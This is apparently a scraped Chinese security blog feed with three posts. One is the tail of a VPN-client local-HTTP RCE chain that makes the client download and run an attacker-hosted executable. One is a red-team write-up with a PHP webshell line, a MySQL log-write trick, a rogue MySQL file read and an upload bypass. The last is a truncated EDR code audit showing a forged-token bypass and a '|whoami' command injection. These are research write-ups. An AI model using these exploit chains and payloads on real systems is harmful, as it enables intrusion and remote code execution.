依次请求(经过多次复现发现,这三个请求才是重点的,其他的可以忽略): https://127.0.0.1:54530/ECAgent/?op=InitECAgent&arg1=172.20.10.2 8000&callback=EA_cb10000 https://127.0.0.1:54530/ECAgent/?op=CheckReLogin&arg1=3408a894633162c62188f98e92a221967dccfa5aafbd79b576714b4d1c392a4ad4b220d698efcd939c3b1b37467023e9380ee3abf0e492ee2efc736de757b80e973fe4c7d8af1af211a3f7ff3433cd9de975c76583efe7251dd1c0656f4384832998630359b65beb131cd8d287712462fa1b9e9acbc96dcc678b84cd57178c1a&token=50065256e83ff1bb9e01757d0d22b669&callback=EA_cb10003 https://127.0.0.1:54530/ECAgent/?op=UpdateControls&arg1=BEFORELOGIN&callback=EA_cb10005 会发现客户端请求之后,将文件下载到本地并启动该程序,成功弹出计算器: 白盒(逆向)侧 我从白盒(逆向)侧的角度,带入Web漏洞挖掘思维,在不完全分析伪代码的情况下推理出漏洞。(仅尝试带入,非实战,不喜勿喷) HTTP服务的建立 确定进程 首先进行某客户端程序的安装并启动客户端程序,然后需要使用Process Hacker之类的工具查看进程树,根据某独有的特征关键词XXX找到打开的进程。 接着根据进程查看其是否启用了网络服务(端口开放),我找到了ECAgent.exe这个进程,并且观察到其启用了54530端口: 尝试以HTTP/HTTPS形式访问该端口,发现HTTPS访问有具体返回内容: 故此判断该进程所启用端口为HTTP服务。 寻找入口 现在需要找到程序开启HTTP服务的入口点,由此才能继续去跟进整个程序的逻辑,我第一时间想到的是加载的DLL文件,选择x32dbg附加进程查看其所加载的DLL文件: 这里有很多系统的DLL文件,可以略过,优先查看与ECAgent.exe有关联性的DLL文件,例如其同级目录下的几个DLL(也都被加载了): 通过IDA打开这些DLL文件,并使用关键词127.0.0.1、0.0.0.0、54530搜索相关数据,找到对应使用的代码(F5伪代码,如下图中函数地址不一致时因为我在调试过程中进行了REBASE): 如上图代码中,很明显这是WINSOCK编程的写法,其中的结构体sockaddr实际上等价于sockaddr_in,二者唯一的区别是sockaddr_in结构体有明确的成员去指定IP、端口,而sockaddr结构体则是使用成员sa_data(这是一个数组)去包含IP、端口之类的信息。 如下图所示,就是一个两结构体之间的对应图,端口存放在sa_data的第0、1位,IP存放在sa_data的第2、3、4、5位: 但是在这里,实际环境中的代码对应的端口居然为0,实际测试,发现这样的赋值是无法创建成功的: 我陷入了沉思,莫非是找错位置了?并不是这个DLL文件去开启的Web服务?带着这一份沉思去找了很多个DLL,发现它们要么是0,要么就是其他端口,而不是对应的54530。 在不断的试错之后,我发现了自己从未去看过ECAgent.exe本身,而尝试去ECAgent.exe搜索字符串时,也没有什么收获,于是想着既然一个DLL中用到了WINSOCK的库去创建SOCKET,那么应该都会这样去编写,所以尝试使用创建SOCKET服务特有的函数名bind去全局搜索,搜索结果如下图所示: 接下来就是一个一个函数跟进去查看,最终我发现了它sub_47FD60,如下图所示,sub_47FD60是创建SOCKET的函数,但是绑定的端口是入参,所以我需要找到调用该函数的函数,也就是sub_47FEB0,这个函数会使用一个循环,入参的端口也会随着循环递增(应该是为了防止端口冲突的情况),当创建SOCKET成功之后就直接返回。 将这段伪代码编译执行一下,输出结果,就发现第一个入参的端口是54530,并且理论上不会有其他的软件占用这个端口,所以,我认为ECAgent.exe的HTTP服务端口就是54530。 接口参数的处理逻辑 分析完HTTP服务的建立之后,我想要知道其具体如何处理请求参数,可以在此函数基础上继续回溯追踪调用链,但是这样的工作量是巨大的,不适合快速分析,所以我首先根据HTTP服务的响应字符串于IDA中搜索,再根据字符串的XREF,找到其对应使用到的函数: 如上图所示代码,大概意思就是有一个数组,存入了字符串和函数地址,根据入参进行类似对比,而后去调用函数。 在这里第二个参数a2至关重要(它在条件判断、函数入参中都被使用到),所以我接着跟该函数的XREF,找到传递参数v26: 跟进处理过v26的函数,sub_48E2C0函数打开了世界的大门,根据其函数的输出字符串和代码,此函数大概表达意思就是去解析URL中的请求参数: 所以,这里我就可以列出这几个参数: op token callback guid 将参数带入URL中,分别加上123参数值去访问: https://127.0.0.1:54530/?op=123 https://127.0.0.1:54530/?token=123 https://127.0.0.1:54530/?callback=123 https://127.0.0.1:54530/?guid=123 如上图所示,请求参数callback有对应的反回信息,尝试进行XSS无果,接着在IDA中搜索callback字符串找找是否有对应的逻辑,发现了多个URL的地址: 这些URL地址证明了参数op、token、callback可以搭配在一块去请求使用,我于此处逐渐递减参数访问(考虑到token参数可能会存在鉴权等操作): https://127.0.0.1:54530/?op=__restart_ecagent__&token=123&callback=123 https://127.0.0.1:54530/?op=__restart_ecagent__&token=123 https://127.0.0.1:54530/?op=__restart_ecagent__ 最终发现,这三条请求都可以使得ECAgent.exe进程重启,而op=__stop_ecagent__则测试可以停止ECAgent.exe进程。 输入参数 简单梳理完接口参数的处理逻辑之后,我对op值对应的函数都看了下,有很多函数无法通过静态的方式去分析,但根据字面意思也能理解个大概: v7 = "__check_alive__"; v8[0] = (int)sub_48F700; v8[1] = (int)"CheckRelogin"; // 检查重新登录 v8[2] = (int)sub_4935E0; v8[3] = (int)"DoConfigure"; // 做配置 v8[4] = (int)sub_490800; v8[5] = (int)"GetConfig"; // 获取配置 v8[6] = (int)sub_48FB30; v8[7] = (int)"InitECAgent"; // 初始化ECAgent v8[8] = (int)sub_48F720; v8[9] = (int)"GetEncryptKey"; // 获取加密key v8[10] = (int)sub_493540; v8[11] = (int)"Setter"; v8[12] = (int)sub_493960; v8[13] = (int)"Getter"; v8[14] = (int)sub_494190; v8[15] = (int)"__restart_ecagent__"; // 重启ECAgent v8[16] = (int)sub_4903E0; v8[17] = (int)"__stop_ecagent__"; // 停止ECAgent v8[18] = (int)sub_491510; v8[19] = (int)"DetectECAgent"; // 检测ECAgent v8[20] = (int)sub_48F6C0; 但有些操作肯定是需要另外一个参数去赋值配合的,所以我根据之前获取的参数列表在IDA中搜索字符串,我发现在这些参数中夹杂着一个双字dd -> Define Double Word,IDA没有将它直接解析出来: 我选中它按下快捷键A将其转为字符串形式,得到了字符串arg: 既然是与参数在一块的,那么我也将其作为参数添加到URL中,并与添加参数之前的URL,分别请求对比响应: https://127.0.0.1:54530/?op=CheckRelogin https://127.0.0.1:54530/?op=DoConfigure https://127.0.0.1:54530/?op=GetConfig https://127.0.0.1:54530/?op=InitECAgent https://127.0.0.1:54530/?op=GetEncryptKey https://127.0.0.1:54530/?op=CheckRelogin&arg=123 https://127.0.0.1:54530/?op=DoConfigure&arg=123 https://127.0.0.1:54530/?op=GetConfig&arg=123 https://127.0.0.1:54530/?op=InitECAgent&arg=123 https://127.0.0.1:54530/?op=GetEncryptKey&arg=123 CheckRelogin,添加前提示invalid param count,添加后就不提示: DoConfigure,添加前返回为空,添加后返回有内容: GetConfig,添加前返回有内容,添加后返回为空: InitECAgent,添加前返回为空,添加后返回有内容,并提示CSCM_EXIST, init ok: GetEncryptKey,添加前后返回内容没有变化: 根据对比, arg确实可以作为参数去请求,但具体是什么意义,还需要去看功能实现,由于我水平有限,在阅读静态代码时遇到很多坎,所以根据自己的大概理解,判断出该程序会输出Log日志。 于是在磁盘文件中去寻找Log文件,最终在C:\Users\chen\AppData\Roaming\XXX\SSL\Log中找到了输出日志: 根据ECAgent.exe.log日志记录可以看出程序处理的逻辑: CheckRelogin对arg参数进行了解密; GetConfig根据arg参数进行读取配置; InitECAgent根据arg参数配置了VPN地址(HTTPS)。 CheckRelogin解密正好对应着GetEncryptKey的返回加密信息,于是尝试带入并根据日志发现记录的信息不一样了,所以在这里我暂时将其搁置: 接着来看配置VPN客户端的服务地址,尝试请求如下地址,将服务器地址指向我的机器: https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3 随后去请求其他op参数值的地址,偶然间发现请求如下地址(GetConfig的arg参数为0或字符串): https://127.0.0.1:54530/?op=GetConfig&arg=abc VPN客户端会去请求https://172.20.10.3/com/WindowsModule.xml,如下图所示就是客户端请求服务端的HTTP日志: 并且会将该文件的XML格式转为JSON格式输出: 其他动作 按照正常逻辑来说,既然可以远程读取服务器配置,应该会有一些其他的操作,例如更新、下载,于是我在IDA中继续寻找,发现了一段字符串: v23 = "__check_alive__|GetEncryptKey|DoConfigure#SET LANG|DoQueryService#QUERY LANG|InitECAgent|CheckRelogin|Logout|CheckMITMAttack|SelectLines|DetectECAgent|CheckProxySetting|UpdateControls#BEFORELOGIN|DoQueryService#QUERY CONTROLS UPDATEPROCESS|DoQueryService#QUERY DKEY_DETECT|DoQueryService#QUERY LOGINSTATUS|OpenBrowser|StartEasyConnect|DoQueryService#QUERY NEEDUPDATE"; 在该字符串中许多之前发现的都存在其中,当然也有很多没有见过的,我梳理了一下没有见过的字符串: DoConfigure#SET LANG DoQueryService#QUERY LANG Logout CheckMITMAttack SelectLines CheckProxySetting UpdateControls#BEFORELOGIN DoQueryService#QUERY CONTROLS UPDATEPROCESS DoQueryService#QUERY DKEY_DETECT DoQueryService#QUERY LOGINSTATUS OpenBrowser StartEasyConnect DoQueryService#QUERY NEEDUPDATE 很奇怪的是这些字符串之后还有一个#号,例如DoConfigure,按照我的推测是去设置配置信息的,此处后面跟了一个#号+SET LANG,根据字面意思第一时间想到了这可能是设置语言,但如何设置?尝试了一下,此处可以带进arg参数,按照字面意思SET LANG之后应该还需要有参数值,所以请求参数值改为SET LANG 123,接着按照字面意思发现配合DoQueryService#QUERY LANG可以查询出来: 同样,我在之前的发现中发现可以去配置VPN服务IP地址,在IP之后加上空格也可以配置指定端口: https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3 443 远程下载(RCE) 接着来看我最关心的UpdateControls#BEFORELOGIN,其字面意思就是在登陆前进行更新,那么具体更新了什么呢?我尝试请求如下URL并查看是否存在网络的连接(需要先请求InitECAgent): https://127.0.0.1:54530/?op=UpdateControls&arg=BEFORELOGIN 在HTTP服务端成功的收到了请求日志,可以看见客户端请求了很多个路径,并以POST形式请求了/com/win/XXXUD.exe文件: 经过测试发现其会去主动下载该EXE并替换原XXXUD.exe文件,接着执行打开: 就这样我成功发现了一条RCE链: // 改变VPN客户端服务的IP地址和端口 https://127.0.0.1:54530/?op=InitECAgent&arg=172.20.10.3 443 // 让VPN客户端发起下载更新,并执行更新文件 https://127.0.0.1:54530/?op=UpdateControls&arg=BEFORELOGIN 文末 我在真实逆向过程中踩了很多坑,也由于自身缺少逆向经验和强有力的水准,只能模拟黑盒的经验和套路带入到逆向中。 虽然这只是一次逆向挖掘模拟,但在这过程中我掌握了之前黑盒所无法知晓的细节,并且对比黑、白盒的过程和结果,会发现逆向侧最后实际的PoC根本不需要/ECAgent/目录,arg1参数也变成了arg参数,并且RCE链的请求,从原本的3条请求变成了2条请求。(也许可以Bypass一些WAF) 最后我将这类漏洞称之为Web2Pwn,也就是基于Web通道达到应用侧(非Web)漏洞触发的目的。例如你可以通过HTTP服务访问触发执行CreateProcess函数,亦或者通过HTTP服务访问触发溢出漏洞。

2021/5/5
articleCard.readMore

记一次攻防演习渗透过程

记一次攻防演习渗透过程 前言 记录一次攻防演习渗透过程,文章仅写关于「打点」环节的部分,也就是拿到靶标的Webshell为止。 任务: 拿到XXX业务系统权限… 过程 靶标是一个www的域名,简单看了下有机会硬啃(商业源码),但时间不多,先找找脆弱点,常规一套流程,收集子域、C段… 脆弱点发现 在对子域的常规扫描后,发现存在.git泄露: 以及发现了phpMyAdmin应用和一些phpinfo()信息泄漏: 看到这些,不由得兴奋了起来,接下来只要按照预期的想法: 通过.git拿到数据库账号密码(源码中一般会有),登录phpMyAdmin,然后拿到Webshell… 但…转折点来了,尝试使用GitHack等一系列常见工具去恢复.git,发现恢复的文件只有一些图片,看Logs发现有很多文件恢复失败,既然不能当一个ScriptKid一把梭哈,那就自己来手动恢复吧~ Git原理与恢复 基本概念 Git有三个概念词需要了解: 1.工作区 2.版本库 3.暂存区 工作区就是正常的目录(你的项目位置);版本库就是在工作区内的一个隐藏目录.git;如果你曾经注意过这个目录你会发现里面有许多东西,在该目录下会存在一个index文件,这被称之为暂存区。 除以上所述之外,大家都知道每一个Git项目都会有一个默认的分支master,在.git目录下有一个文件head,它用来指向master这个分支。 当我们使用git add时,实际上就是把文件添加进暂存区;使用git commit时,才会把暂存区的内容添加到当前分支,默认是master分支。 我们可以来实际的看一下index和head这两个文件: 使用Binwalk直接分析,可以很直观的看见index内有许多内容,head并没有,直接cat head发现这就是一个单纯的文本内容: ref: refs/heads/master 前面了解到这是一个分支指向,那我直接查看.git目录下的refs/heads/master文件,得到一串Hash值。 我们可以暂且认为这是master分支的一个记录,用于区分、比较。 大概了解了以上内容后,还需要了解有哪些文件才能够恢复.git? 首先我们来看一下.git目录内的一般结构: 名称 类型 作用 .git/index 文件 暂存区 .git/config 文件 Git配置文件 .git/description 文件 GitWeb专用的描述文件 .git/info 文件夹 里面就一个exclude文件(与.gitignore互补),排除指定文件不用做Git提交 .git/hooks 文件夹 存放一些钩子脚本 .git/HEAD 文件 记录分支 .git/objects 文件夹 存放所有数据 .git/refs 文件夹 存放提交对象的指针 知道结构及其作用后,挑重点关注objects这个目录,但一看,全都是一些Hash命名的文件,根本不知道其对应关系: 并且这些文件都没办法看: 查阅相关资料得知此类文件是将原文件内容经过zlib的deflate压缩后存储的( https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details ): 而使用zlib进行解压查看文件内容时是这样的: 这个文件更像是记录了一个目录结构,而关于此就又需要查阅资料了,具体请看: https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1 git中的对象(对象对应文件).git/objects包含了: SHA(所有用来表示项目历史信息的文件,是通过一个40个字符的(40-digit)“对象名”来索引的) Blob对象(用来存储文件的内容) Tree对象(有一串bunch指向Blob对象或是其它Tree对象的指针,一般表示内容之间的目录层次关系) Commit对象(指向一个Tree对象, 并且带有相关的描述信息.) (注: 图片来自 git-scm.com ) 猜测: 按照这个逻辑,我们需要先获取Commit对象对应文件找到Tree对象对应文件再通过其获得Blob对象对应文件,最后解压即可获得源文件内容。 那这些对象内容都存储在哪里呢?通过之前使用Binwalk分析,显而易见,在.git/index文件中。 但是在这里.git/index文件无法直接查看,直接套用GitHack的( https://github.com/lijiejie/GitHack/blob/master/lib/parser.py )解析代码就行: 获得SHA1: a797b1973fd62dc34a691c7fe3bce33a504f2b74,但是找了半天没找到这个对应文件​,后来尝试搜索前几位和后几位,发现搜索到了后几位: 对比发现文件名和获取的SHA1值少了2位: 搜索发现原来前两位是作为了目录名: 但在这里,我们使用zlib去解压缩,发现存储在.git/index的SHA1值实际上就是一个blob对象的值,也就根本不需要获取commit、tree对象的值了,表示之前的顺序逆推逻辑是错误的: 接下来按照这个思路去编写脚本恢复源码即可。 编写与恢复 由于项目时间原因简单了解原理之后,没有过多的去研究,也不打算使用原生方法去恢复,还是采用最暴力的方法,使用命令行去恢复.git,想要让Git回退历史,使用git reset --hard commit_id命令,进行版本回退。 基于这个命令,我需要获取网站的这几个文件/目录: .git/index .git/logs .git/head .git/objects .git/refs 先下载.git/index、.git/head、.git/refs、.git/logs(文件目录都是固定的无需考虑其他情况)而后解析index获取索引,根据索引依次下载.git/objects内的文件,最后全部下载完毕,获取master分支(refs/heads/master文件)对应的值带入该命令git reset --hard commit_id即可恢复: 但发现除此之外,发现恢复的文件寥寥无几,后来下载.git/logs/head发现该.git项目还有其他分支: 这个记录中有两个SHA1的值,master对应前者,shop对应后者,简单修改命令git reset --hard shop_commit_id,还是那一套流程,恢复shop这个分支的源码即可。 获取子域 Webshell 获得源码之后翻数据库账号密码: 由于之前我们已经有了一个phpinfo()探针,网站绝对路径已知,所以直接上phpMyAdmin登录,尝试使用into outfile,有--secure-file-priv限制无法写入: 转而使用Mysql Log日志存储的方式进行写入: set global general_log=on; set global_log_file='/xxx/www/xxx.php'; select '<?php @eval($_REQUEST["xxx"]);?>'; 访问相关文件却提示我无法访问(403/AccessDefined): 遇到这种情况尝试以下几种方法: 修改后缀访问,判断是否是只针对脚本后缀进行限制(上传.htaccess文件) 修改内容访问,判断是否有安全防护对内容进行限制 如若以上均未访问成功,则可以考虑覆盖原文件写入 这里我的情况是第三种,大概推测可能是因为新建的文件没有执行权限所导致,因为这里我们已经有源码了所以可以直接找已有的文件(建议选择非业务相关的文件)进行写入(记得事后恢复): 执行phpinfo();函数可以,但无法直接使用管理工具连接,抓包发现目标网站上了云WAF,对请求内容拦截了(该WAF还挺弱),这种情况还是有很多中方式: 配合Cknife、蚁剑等自定义修改传输内容(Base64编码等等),但需要修改PHP文件内容配合解码 直接上冰蝎、哥斯拉的马就行了 为图方便,选择冰蝎3,使用file_put_contents写入连接就行(这都不拦,WAF堪忧): 瞄准靶标 进入子域的Webshell发现内网无机器、就是一个云服务器,一开始误以为打中靶标,因为在主战发现一个路径泄漏: 而子域服务器上也有对应目录并且文件一模一样,但是修改文件却没反应不生效,猜测很有可能主战业务曾经在这个子域服务器上,但后期进行了转移,原Web文件还留着。 尝试翻翻源码,找密码,后来找到了几个有用的东西:1.Adminer文件 2.数据配置信息 Adminer(类似phpMyAdmin的数据库管理工具)文件是随机的: adminerxxxxxxxxx.php,完全无法扫到,数据库配置密码与子域完全一样。 使用数据配置密码无法登录,但是这里Adminer可以直接连外网的Mysql数据库,使用脚本( https://github.com/Gifts/Rogue-MySql-Server )伪造一个Mysql服务端读取对应文件就好,这边以/etc/passwd为例: 如上图所示是成功读取到的,而我们在子域上也知道了对应的配置文件路径,直接伪造读取即可。 再使用Adminer登录进去时,使用如下几种方法尝试获取Webshell: into outfile -> 失败 Mysql log -> 失败 Adminer是最新版本无漏洞 -> 失败 获取管理员密码无法解密 -> 失败 最终选择添加新管理员登录: 登录之后寻找对应上传点(以最短攻击路径的方式进行GetWebShell): 测试如下后缀及服务器结果: Key.jpg -> 上传成功 Key.php -> 上传失败WAF拦截 Key.phtml -> 上传失败文件类型不允许 我们在已经有源码的情况下,找到对应的代码进行审计就行,发现这里是白名单设置无法绕过: 直接关键词寻找上传功能,发现函数:xxx_upload_file存在任意文件上传 后续构建请求包以及使用回车直接绕过CloudWAF,上传成功: 至此靶标拿到,结束。 文末 很多时候还是需要去探寻事物的本质和原理,才能更加清晰明了的了解这个事物,否则什么东西都是现有的成品一把梭,遇到梭不了,容易出现惯性思维,可能就直接略过了。

2020/11/22
articleCard.readMore

某终端检测响应平台代码审计挖掘(RCE)

某终端检测响应平台代码审计挖掘(RCE) 前言 继上一次对某终端检测响应平台权限绕过漏洞的审计流程,现分享对该平台进行代码审计后挖掘到的远程命令执行漏洞。 上篇文章其实采用的是通读代码逻辑的方法进行漏洞挖掘,那么本次我们使用敏感函数回溯的方法(代码审计方法通常分为三类: 通读全文、敏感函数参数回溯、定向功能分析)来进行漏洞挖掘。 审计流程 定位敏感函数 前文说到,不是一把梭的0day都不叫0day,所以我们可以对命令执行、代码执行等漏洞相关敏感函数进行全文搜索,敏感函数列表如下 : exec() passthru() proc_open() shell_exec() system() popen() eval() //非函数 assert() preg_replace() 搜索关键词 exec(,发现一处文件 /ldb/dc.php 自定义了命令执行代码,函数体是调用的 exec 函数 : /** * 执行外部程序 * @param string $command 执行命令 * @param array $output 输出信息 * @param int $ret 返回值 * @return string 返回执行结果 */ function ldb_exec($command, &$output, &$ret) { if (!ldb_is_linux()) { $data = exec($command, $output, $ret); } else { pcntl_signal(SIGCHLD, SIG_DFL); $data = exec($command, $output, $ret); pcntl_signal(SIGCHLD, SIG_IGN); } return $data; } 寻找危险点 /bin/mapreduce/app/web/device_linkage/process_cssp.php exec_slog_action 匿名函数分析 如上所述,我们知道了 ldb_exec 函数为自定义命令执行代码,我们想寻找利用点就需要跟踪下该函数在哪被引用,然后分析具体的代码看是否可以利用。 老套路,全局搜索 ldb_exec( 发现有很多处调用了,其中阅读起来较为通俗易懂的为 /bin/mapreduce/app/web/device_linkage/process_cssp.php 的匿名函数 $exec_slog_action : $exec_slog_action = function($object,$params){ $data = $params["data"]; if (!isset($data["params"])) { ldb_error("required parameter missing params is".json_encode($params)); $object->err_code = EXEC_SLOG_ACTION_PARAM_ERROR; return -1; } $data["params"] = ldb_mapreduce_invoke("call_method", "app.web.common.validation.shell_injection_check", "shell_argv_transform", $data["params"]); $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; ldb_debug("exec command: ".$command); ldb_exec($command, $output, $ret); if ($ret !== 0) { ldb_error("exec slog action fail, command: $command, error: ".$output); $object->err_code = EXEC_SLOG_ACTION_FAILED; return -1; } $data = $output; response_linkage_dev_msg(SUCCESS,$data); return 0; }; 这段代码很容易理解,赋值校验,再过一遍 /bin/mapreduce/app/web/common/validation/shell_injection_check 文件 函数 shell_argv_transform : // 转义参数 $shell_argv_transform = function($argv) use(&$shell_argv_transform) { $type = strtolower(gettype($argv)); if ($type == "array") { foreach ($argv as $key => $value) { $argv[$key] = $shell_argv_transform($value); } } else if (!is_null($argv) && !empty($argv)) { $argv = escapeshellarg($argv); } return $argv; }; 这就是一段简单的转义,如果传入的变量 $argv 是数组则遍历进行函数递归最后通过 escapeshellarg 函数转义( 官方释义: escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。 ),如果不是数组则直接进行增加转义。 继续跟进看代码,你会发现 $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; 是拼接的,最后经过 ldb_exec 进行命令执行,我们可以使用管道符的方式进行其他命令的注入: |whoami,但这里巧妙的是经过 escapeshellarg 函数处理后注入的命令就变成了 '|whoami',最后执行的命令就变成了: curl -k 'http://127.0.0.1:9081/?'|whoami'',直接帮助我们闭合命令了。 那么我们只需要可以控制 $params['data']['params'] 的值即可进行命令执行。 控制点寻找 /bin/web/dev_linkage_launch.php get_opr 函数分析 由于 /bin/mapreduce/ 下的文件,我们没办法直接访问调用就需要全局搜索 exec_slog_action 看下谁调用了这段代码,发现文件 /bin/web/dev_linkage_launch.php( 此处应感觉到兴奋,毕竟我们能访问的路径就是 /bin/web/ ) 有一处可疑函数体( 函数 get_opr ) : function get_opr($req_url){ ... //CSSP请求 if($req_url === STD_CSSP_EXEC_SLOG_ACTION_URL ){ return EXEC_SLOG_ACTION; } ... //检查url的合法性 if($req_url !== AGENT_INFO_URL && $req_url !== SCAN_ABOUT_URL && $req_url !== EDR_INFO_ABOUT_URL && $req_url !== EVIDENCE_INFO_URL){ ldb_error("no response about this url :".$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } //获取url中的参数 $url_params = get_url_param(); $method = $url_params[METHOD]; global $opr_arr; if(isset($opr_arr[$method])){ $opr = $opr_arr[$method]; } else{//无此url的响应 ldb_error("no response about this url: " .$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } return $opr; } 判断变量 $req_url 值是否与常量 STD_CSSP_EXEC_SLOG_ACTION_URL 值一致,一致则返回常量 EXEC_SLOG_ACTION,最后如果请求的地址非常量中定义的,则进行URL判断合法性( 我们没办法直接访问 dev_linkage_launch.php )。 我们先看常量 STD_CSSP_EXEC_SLOG_ACTION_URL 对应值,直接看代码开头包含了哪些文件即可 : 最终发现 /bin/mapreduce/app/web/device_linkage/common/common.php 中定义了常量 : define("STD_CSSP_EXEC_SLOG_ACTION_URL","/api/edr/sangforinter/v2/cssp/slog_client"); define("EXEC_SLOG_ACTION","exec_slog_action"); 知道了这些常量的定义,大致就明白了,( 猜测 )当我们访问 /api/edr/sangforinter/v2/cssp/slog_client 时,函数 get_opr 返回 exec_slog_action,也就是我们之前所发现存在安全风险的函数,这也仅仅是猜测,但想要证实这个猜测,我们就得啃一啃文件 /bin/web/dev_linkage_launch.php。 get_interface_data 函数分析 我们已经知道了函数 get_opr 的作用( 返回接口方法 ),来看看在文件中的哪里被调用,发现一处调用 : function get_interface_data($argv) { //获取url $req_url = $_SERVER['PHP_SELF']; //校验token check_token($req_url); //构造opr $opr = get_opr($req_url); //根据方法构造业务代码路径 $app_name = get_app_name($opr); $data = array(); if($_SERVER['REQUEST_METHOD'] == 'POST'){ $data = get_body_data($argv); } //根据opr、app_name以及data构造数据 $interface_data = array(); $interface_data["app_args"]["name"] = $app_name; $interface_data["opr"] = $opr; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $interface_data["data"] = $data; } return $interface_data; } 函数 get_interface_data 调用了函数 get_opr,传递参数值为 $req_url = $_SERVER['PHP_SELF'];,也就是请求的 URI ( 例如请求地址为 http://localhost/chen.php 那么 $_SERVER['PHP_SELF'] 的值即为 /chen.php )。 注:这里证实了我们在分析 get_opr 函数时的猜测,请求的地址必须为 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中定义常量的地址,不能为 dev_linkage_launch.php。 那么想要进入调用函数 get_opr 的逻辑,我们需要先了解下函数 get_interface_data 的逻辑,在此之前我们需要确保自己不会做无用功,所以需要看下函数 get_interface_data 是否在上下文代码中被调用 : 该函数直接被入口函数调用,那么我们接下来就可以分析下该函数逻辑,根据注释我们了解到这里会校验token,也就是函数 check_token。 check_token 绕过 跟进函数 check_token,其代码如下 : /** * @func 检验token * @param string $req_url 联动的url * @throws Exception */ function check_token($req_url){ //CSSP接口使用特权IP的方式进行校验 if (strpos($req_url, STD_CSSP_REQUEST_URL_PREFIX) !== false && $req_url != STD_CSSP_SET_KEY_URL) { parse_str($_SERVER['QUERY_STRING'],$query_str_parsed); if(!isset($query_str_parsed[TOKEN])) { throw new Exception(ldb_get_lang("THIS_OPERATION_NEED_TOKEN")); } $ret = check_access_token($query_str_parsed[TOKEN], $req_url); if ($ret == 1) { response_linkage_dev_msg(CSSP_TOKEN_AUTH_FAILED); die(); } } //判断url 需不需要进行校验token if($req_url == AGENT_INFO_URL || $req_url == SCAN_ABOUT_URL || $req_url == EDR_INFO_ABOUT_URL || $req_url == EVIDENCE_INFO_URL){ //校验token $url_params = get_url_param(); $ret = token_valid($url_params[TOKEN]); if($ret){ response_linkage_dev_msg($ret); die(); } } } 简单理解就是获取所有请求参数,并获取参数 token 的值带入函数 check_access_token,最后的返回结果不为 1 即可成功验证token,我们继续跟进该函数,文件 /bin/web/ui/php/platform.php : /** * 检验cssp请求的token * @return 0/1 成功/失败 */ function check_access_token($access_token, $req_url){ $token_str = base64_decode($access_token); $json_token = json_decode($token_str, true); $key = get_item_from_os_json("privateKey"); if($key == "" && $req_url == STD_CSSP_DOWN_CONF_URL) { $key = STD_CSSP_DEFAULT_KEY; } $md5_str = md5($key.$json_token["random"]); if($md5_str == $json_token["md5"]) { return 0; } ldb_error("check token failed"); return 1; } 参数 token 的值需要经过Base64解码、JSON转换( 将JSON转为数组 ),最后字段 random 与变量 $key 拼接进行md5加密的值与字段 md5 一样则可以进入 return 0; 否则就是 return 1;( 我们就需要返回为0才可过token验证 )。 那在这我们需要知道变量 $key 是怎么样获取到的,跟进函数 get_item_from_os_json : /** * 从/etc/cssp_custom_image/os.json中获取指定值 * @param $key os.json中的键 * @return 返回指定键对应的值 */ function get_item_from_os_json($key){ $item = ""; $file_path = "/etc/cssp_custom_image/os.json"; if(file_exists($file_path)){ $os_json = get_json_from_file($file_path); if ($os_json === null) { ldb_error("target file is null"); return ""; } $item = $os_json[$key]; } return $item; } 发现这里实际意义上就是将 $file_path = "/etc/cssp_custom_image/os.json"; 带入 get_json_from_file 函数,继续跟进这个函数 : /** * 从文件读取一个json * @param conf_file 文件路径+文件名 * @return data_arry 返回一个关联数组 */ function get_json_from_file($conf_file){ if (!file_exists($conf_file)) { ldb_error("err:file null"); return null; } $json_string = file_get_contents($conf_file); $data_arry = json_decode($json_string, true); if (is_null($data_arry)) { ldb_error("get json from file failed"); return null; } return $data_arry; } 该函数就是从文件中读取JSON,并转为数组返回,我们想要知道具体内容就要看下初始的 /etc/cssp_custom_image/os.json 文件内容,但笔者这里安装默认情况下该文件是不存在的 : 那在这里其返回的就是空,这时候我们再回到函数 check_access_token,其代码( 代码上文中已经列出 )逻辑当变量 $key 值为空并且 $req_url == STD_CSSP_DOWN_CONF_URL( define("STD_CSSP_DOWN_CONF_URL","/api/edr/sangforinter/v2/cssp/down_conf"); ) 的情况下变量 $key 值为常量 STD_CSSP_DEFAULT_KEY 的值,即: define("STD_CSSP_DEFAULT_KEY","amsPnhHqfN5Ld5FU");( 常量定义在 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中 )。 但此处我们的变量 $req_url 为 /api/edr/sangforinter/v2/cssp/slog_client 并不符合逻辑条件,所以变量 $key 还是为空的。 那我们可以根据代码逻辑直接构建token值,首先是JSON内容有两个字段random、md5,还要满足字段md5的值等于md5(字段random)的值,所以我们要提前先设置字段random为1,随后进行md5加密并将结果赋予字段md5即可 : {"random":"1", "md5":"c4ca4238a0b923820dcc509a6f75849b"} 最后进行Base64编码 : eyJyYW5kb20iOiIxMjMiLCAibWQ1IjoiYWI0NzU2M2FjNmZiOWU1MTdiZTg4ODBjODdmNzc2NWYifQ== 至此我们就绕过了token校验限制。 逻辑梳理 我们来梳理函数 get_interface_data 的逻辑,其通过函数 get_opr 反回值带入函数 get_app_name 获取具体代码路径,而后当HTTP请求类型为POST时获取请求正文( POST数据,如下函数 get_body_data,将请求正文的JSON转为数组 ),通过构建数组将数据填充进去,并返回该数组。( 简单梳理,具体请看代码 ) /** * @fun 根据协议body中的内容来构造data中的内容 * @param array $argv 输入的参数 * @return array $params 联动设备传来的body */ function get_body_data($argv){ $ini_file = getenv("EPS_INSTALL_ROOT") . "config/tenant.conf"; if(file_exists($ini_file)){ if (0 != strlen(ldb_post_json())) { $docker_data = ldb_get_post($argv); return $docker_data; } } $params = array(); if(0 != strlen(ldb_post_json())) { $params = ldb_get_post($argv); } return $params; } 我们已经知道了函数 get_interface_data 的逻辑,再跟进调用其的函数 